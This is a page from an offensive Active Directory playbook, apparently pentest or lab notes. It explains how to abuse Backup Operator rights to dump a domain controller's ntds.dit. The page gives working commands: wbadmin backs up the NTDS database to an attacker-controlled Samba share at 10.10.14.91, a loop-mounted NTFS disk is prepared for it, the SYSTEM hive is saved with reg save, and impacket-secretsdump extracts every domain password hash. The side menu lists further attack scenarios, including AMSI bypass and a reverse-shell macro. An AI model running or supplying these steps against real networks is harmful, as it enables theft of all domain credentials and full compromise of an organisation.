🏴‍☠️
PlayBook
  • 🎄Active Directory Checklist
  • 👩‍✈️Active Directory Commands
  • ⛓️Scenarios
    • Allowed To Delegate
    • Ansible Vault found
    • You have found an Azure sync sql server and have access
    • Backup Operator SeBackupPrivilege dump ntds.dit
    • Bypass AMSI
    • Certificate Authority create certificate request
    • Certificate Authority Vulnerable Cert
    • Certificate Found
    • Check connectivity with ping
    • Debug Python
    • Decode Strings
    • Defender Outbound Connection
    • Defender remove definitions
    • Deleted AD Object
    • Deserialization Payloads
    • dig enumeration
    • DnsAdmin PrivEsc
    • DomainDump analysys
    • Files found
    • Evil Winrm Kerberos
    • Find ipv6 Ipv6 Port Scanning
    • Find Write to Share NTLM Theft
    • Force auth back to yourself
    • Forward from host Enable Ip Forwarding Kali
    • GPP Groups.xml
    • Grep email from complex content
    • Icacls protect binary from system
    • install dacledit.py
    • Invoke WebRequest vhost
    • Jenkins Found
    • Kerberos Auth required
    • Overview
    • Get Laps passwords
    • ldapmodify to update AD
    • LibreOffice Reverse Shell macro
    • lsass.dmp
    • Offline Sam dump
    • Powershell Oneliners
    • Port 135 MSRPC
    • RBCD GenericAll Computer
    • ReadGSMAPassword
    • Reset password with mimikatz
    • Shadow Credentials
    • Sign Powershell script
    • SMTP Server Found
    • SOCAT to redirect ports
    • System on DC TGT Delegation
    • Take ownership of files and set permissions
    • TightVnc Registry Password
    • WinRM requires ssl
    • WriteDACL Rights
    • AD Allowed to change owner
    • Add AD DNS entry Scripted Outbound Connection Found
Powered by GitBook
On this page
  1. Scenarios

Backup Operator SeBackupPrivilege dump ntds.dit

Dump NTDS from DC echo y | wbadmin start backup -backuptarget:\\10.10.14.91\share -include:-include:c:\windows\ntds

Create 2gB NTFS partition

dd if=/dev/zero of=ntfs.disk bs=1024M count=2 
losetup -fP ntfs.disk
mkfs.ntfs /dev/loop0
mount /dev/loop0 /tmp/share

Configure samba ![[Pasted image 20240423153016.png]]

mkdir /tmp/share
chmod 777 /tmp/share
sudo systemctl restart smbd

Backup to samba echo y | wbadmin start backup -backuptarget:\\10.10.14.91\share -include:c:\windows\ntds

Get Version wbadmin get versions

Recover ntds file to dc readable echo y | wbadmin start recovery -version:???? -itemtype:file -items:C:\windows\ntds\ntds.dit -recoverytarget:c:\ -notrestoreacl

Get SYSTEM hive cmd /c reg save HKLM\SYSTEM system.hiv

Download both and Extract Hashes impacket-secretsdump -ntds ntds.dit -system system.hiv -history LOCAL

PreviousYou have found an Azure sync sql server and have accessNextBypass AMSI
⛓️